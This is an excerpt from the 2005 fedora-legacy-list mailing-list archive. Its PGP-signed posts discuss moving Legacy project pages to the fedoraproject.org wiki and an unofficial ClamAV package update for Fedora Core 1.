upRSVzrrZhWUKEzhW+sjWnQ= =zFkJ -END PGP SIGNATURE- -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com http://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: Move to Fedoraproject.org wiki
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Jesse Keating wrote: |On Fri, 2005-07-29 at 11:26 -0700, Jeff Sheltren wrote: | |I added a few pages last night. I think I got all the QA docs as |well as the self intro and rpm versioning. If someone is thinking of |updating some more pages, see: |http://fedoraproject.org/wiki/CategoryLegacy |to see what is already done. | | |Awesome. | |There are still a few things left to transfer over, and it would be |nice to have an intro on the main 'Legacy' page. | | |Yeah, I wasn't feeling very verbose last night. We could take a look at |the Extras/ main page and model ours after it. I'm open to volunteers. | |Jesse, all those legacy pages need the ACLs set. | | |Done. | Everything is transfered... Sorry, but I have a few suggestions. (a) Put the QA stuff on a page with clearly numbered steps showing the process. #1, #2, etc. (b) The QA Testing page should probably be renamed to maybe QA Procedure or a more appropriate name describing it's function. (c) What is the process for adding pages to the Legacy area? (d) What sort of topics, etc. I've gotten into package management a little and managed to roll out several update (unofficially of course). I primarily have a FC1 box that I try and keep up2date with RPMs. Example, I could come up with a good page on the process of building an RPM for submission to QA. Though packages that patch take one path and packages that re-build or upgrade version numbers should ideally take another path. I'd like to help; but, have only limited free time on my busy schedule. I'm trying to get a GCC update setup and working. only problem is now I think there are package problems... Compiling completes correctly now. James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.0 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFC6oeMkNLDmnu1kSkRAm6BAJ9Tusso4vtLAC9hf25dpJFWYHx65wCeMmaI h1LysBknsKP1CuWOovEbmSo= =gh3c -END PGP SIGNATURE- -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com http://www.redhat.com/mailman/listinfo/fedora-legacy-list
Re: Move to Fedoraproject.org wiki
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Jesse Keating wrote: |Those of you that would like to help out w/ moving the wiki contents |over to fedoraproject.org's wiki, please go to |http://www.fedoraproject.org/wiki/ and create accounts and then email me |with the account name. I will add you to the LegacyGroup and EditGroup |so that you can start adding pages. | |All pages for Legacy need to have the following at the very top: | |#acl LegacyGroup:admin,read,write,delete,revert Known:read | What about those of us who already have wiki accounts on www.fedoraproject.org ? I'm already a member; what can I do to help with things? Or what do I need to do? My account is JamesKosin ... Thanks, James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.0 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFC6R/zkNLDmnu1kSkRAjQoAJkBiRfPQ0FlhqpXYMeYrJVyxVEo+gCdEPP/ AonuJj5nXSOon09AOACJbTY= =L9FE -END PGP SIGNATURE- -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com http://www.redhat.com/mailman/listinfo/fedora-legacy-list
[FC1] ClamAV 0.86.2 Unsupported Update
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Everyone, I've had to fix my packages for clamav. This only effects clamav-milter and anyone using clamav to scan their emails. Apparently, a recent change has caused problems with clamav-milter to complain about --timeout being specified without --external being specified. The only change is in the /etc/sysconfig/clamav-milter file to add the - --timeout=0 option to the list, until this is fixed. I'm also emailing the development team with my findings on this. ClamAV 0.86.2-2.fc1 - http://support.intcomgrp.com/mirror/fedora-core/beta/i386 Package area http://support.intcomgrp.com/mirror/fedora-core/beta/src Package source area GCC Update - -- Not as close as I'd like it to be. I got past one problem and another problem has shown up. Now in building c++flint James Kosin -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.0 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFC5k16kNLDmnu1kSkRAt4lAJ9NAHDUIGoBD8TrqF1/AdVeyFi8nwCfZYrn /KJJLx70yqgWJUkgmNPFYIU= =tyrQ -END PGP SIGNATURE- -- fedora-legacy-list mailing list fedora-legacy-list@redhat.com http://www.redhat.com/mailman/listinfo/fedora-legacy-list
